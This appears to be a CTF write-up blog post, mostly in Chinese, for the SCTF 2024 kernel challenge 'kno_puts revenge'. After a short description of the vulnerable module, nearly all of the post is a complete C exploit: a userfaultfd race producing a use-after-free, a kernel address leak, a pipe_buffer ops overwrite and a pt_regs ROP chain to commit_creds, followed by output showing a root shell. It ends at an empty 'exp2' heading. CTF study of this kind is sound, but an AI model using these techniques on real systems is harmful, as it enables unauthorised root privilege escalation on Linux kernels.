[ayoung@blog posts]$ cat ./sctf 2024 kno_puts revenge.md

sctf 2024 kno_puts revenge

[Last modified: 2024-10-01]

保护全开 全局变量保存指针,未加锁 调用copy_from_user()时触发缺页,然后释放object,再放行缺页实现 UAF 覆盖

__int64 __fastcall module_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  void *v5; // [rsp+30h] [rbp-28h]

  printk(&unk_820);
  if ( a3 > 0x2E0 || !ptr )
    return -1LL;
  v5 = ptr;
  check_object_size(ptr, a3, 0LL);
  return copy_from_user(v5, a2, a3);
}
__int64 __fastcall my_module_ioctl(__int64 a1, int a2, __int64 a3)
{
  ...
  else if ( a2 == 0xFFF1 )
  {
    if ( v14 )
      return -1LL;
    v5 = ptr;
    if ( ptr )
    {
      if ( fchoice )
      {
        ptr = 0LL;
        kfree(v5);
        fchoice = 0;
      }
    }
  }
  return 0LL;
}

在利用过程中,发现几个点:

next对齐堆块可能是msg_msg接收函数内部有检查,kfree据鹏哥说指向object任意地方就能释放对应obj

exp1

直接从/sys/kernel/notes获取基址 uaf 改 pipe_buffer 的 ops 到堆上,布置 gadget 利用 pt_regs rop

开shell前释放几个对应操作大小的obj

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <mqueue.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/types.h>

#define PAGE_SIZE 0x1000
#define O_RDWR 2
#define O_NOCTTY 400

size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0x97d00,prepare_kernel_cred=0x98140;
size_t init_cred = 0x165f5a0;
size_t mov_rdi_rax_p_ret = 0x25c18;
size_t ireq_ret = 0x32b42;
size_t prdi_r = 0x3e98, prbx_r = 0x35a6;
size_t vmbase = 0;
size_t heap_addr = 0;
int victim_qid;
pthread_t hthr;
char *received;
size_t setxa_can_release = 0;
size_t setxa_stuck = 0;
size_t changeops_done = 0;
size_t changeops_stuck = 0;
size_t changeops_continue = 0;

int pipe_fd[2];
int fd_tty[50];
int fd;
char *msg_buf;
int victim_fd[10][2];
size_t retaaa =  0xc00134;
void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}
void init(){
  received = (char*)malloc(0x2000);
  msg_buf = (char*)malloc(0x2000);
  received = (char*)malloc(0x2000);
}
void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");
}

typedef struct 
{
  long mtype;
  char mtext[1];
}msg;

typedef struct 
{
  void *ll_next;
  void *ll_prev;
  long m_type;
  size_t m_ts;
  void *next;
  void *security;
}msg_header;
int get_msg_queue()
{
  return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
void getshell(){
	if(!getuid()){
		puts("[*] Root now");
    system("/bin/sh");
    // int ffd = open("/flag", 0);
    // char buf[0x50];
    // read(ffd, buf, 0x50);
    // write(1, buf, 0x50);
    // exit(-1);
	}
	else{
		puts("not root yet");
	}
}
void bind_core(int core) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, 02000000 | 04000);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}
void *userfault_changeops_handler(void *arg)
{

	struct uffd_msg _msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &_msg, sizeof(_msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

  printf("[+] userfault_changenext_handler create\n");
  changeops_stuck=1;
  
  while(changeops_continue!=1){}
  printf("[+] userfault_changenext_handler continue\n");
  
	// init page    
	memset(page, 0, sizeof(page));
  *(size_t*)(page) = (size_t)(heap_addr+0x430);
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)_msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] changenext handler done");
  changeops_done=1;
}

void *setxattr_handler(void *arg){
  char* addr = (char*)arg;
  setxattr("/tmp/exp", "ay", addr+ PAGE_SIZE - 0x8, 0x400, 0);
}
void *uaf_handler(void *arg){
  char* addr = (char*)arg;
  write(fd, addr+ PAGE_SIZE - 0x10, 0x28);
}
int main()
{
  init();
  bind_core(0);
  save_status();
  char *hack_buf[20];
  char *uaf_buf;
  fd = open("/dev/ksctf", 2);
  if (fd<0)
    perror("open");
  char buf[0x500];

  memset(buf, 0, 0x500);
  memset(received, 0, 0x2000);
  int padding_qid[20], B1_qid, B2_qid, C_qid;
  msg *message = (msg *)msg_buf;

  int leak_fd = open("/sys/kernel/notes", 0);
  char leak_buf[0x100];
  read(leak_fd, leak_buf, 0x100);
  vmbase = *(size_t*)(leak_buf+0xa0-4)-0x2000;
  printf("[+] vmbase 0x%llx\n", (long long)vmbase);

  for(int i = 0; i < 4; i++){
    fd_tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    if (fd_tty[i]<0)
      ErrExit("tty_struct");
  }

  *(leak_buf)=1;
  *(buf+0x20)=1;
  *(size_t*)(buf+0x28)=(size_t)(leak_buf);
  ioctl(fd, 0xFFF0, buf);
  heap_addr = *(size_t*)(leak_buf);
  printf("[+] heap_addr 0x%llx\n", (long long)heap_addr);

  uaf_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  *(size_t*)(uaf_buf + PAGE_SIZE - 0x10) = (size_t)(0);
  register_userfault(uaf_buf+PAGE_SIZE, userfault_changeops_handler);

  int s = pthread_create(&hthr, NULL, uaf_handler, (void*)uaf_buf);
  if(s!=0)
    ErrExit("[-] pthread-create error");
  
  while(changeops_stuck!=1){}

  char tmpbuf[0x30];
  memset(tmpbuf, 0, 0x30);
  *(tmpbuf+0x20)=1;
  *(size_t*)(tmpbuf+0x28)=(size_t)(0);

  ioctl(fd, 0xFFF1, tmpbuf);

  if (pipe(pipe_fd) < 0) 
    ErrExit("[-] pipe");
  write(pipe_fd[1], "pwn", 3);

  victim_qid = get_msg_queue();
  message->mtype = 1;
  memset(message->mtext, '0', 0x400-0x30);
  for (int i = 0 ; i < 0x20; i+=8)
    *(size_t*)(message->mtext+i) = 0x9d9a1c+vmbase;
  msgsnd(victim_qid, message, 0x400-0x30, 0);

  changeops_continue=1;

  while(changeops_done != 1){}

  sleep(1);
  ireq_ret += vmbase;
	prdi_r += vmbase;
	prbx_r += vmbase;
	prepare_kernel_cred += vmbase;
	commit_creds += vmbase;
  mov_rdi_rax_p_ret+= vmbase;
  retaaa+= vmbase;
  for(int i = 0; i < 4; i++)
    close(fd_tty[i]);
  __asm__(
    "mov r15,   prdi_r;"
    "mov r14,   0;"
    "mov r13,   prepare_kernel_cred;"
    "mov r12,   mov_rdi_rax_p_ret;"
    "mov rbp,   0;"
    "mov rbx,   prbx_r;"    
    "mov r11,   0x202;"
    "mov r10,   commit_creds;"
    "mov r9,    retaaa;"
    "mov r8,    0;"
    "mov rax,   3;"
    "mov rcx,   0xaaaaaaaa;"
    "mov rdx,   8;"
    "mov rsi,   rsp;"
    "mov rdi,   [pipe_fd];"
    "syscall;"
    "mov rax,   3;"
    "mov rdi,   [pipe_fd+4];"
    "syscall;"
	);

  getshell();
  
  return 0;
}
/ $ ./a
[*] status has been saved.
[+] vmbase 0xffffffffa0400000
[+] heap_addr 0xffff9fd20e394000
[+] userfault_changenext_handler create
[+] userfault_changenext_handler continue
[+] changenext handler done
[*] Root now
/ # id
uid=0 gid=0

exp2